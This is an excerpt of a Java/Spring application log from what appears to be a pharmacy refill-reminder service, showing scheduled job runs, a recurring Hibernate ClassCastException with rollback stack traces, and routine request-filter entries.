com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 19:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 19:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 19:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 19:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 19:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 20:02:36 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/lui/ 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 20:02:36 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:36 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 20:02:37 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/hub/ 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 20:02:37 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:02:37 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/struts2-showcase/showcase.action 2024-02-25 20:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at 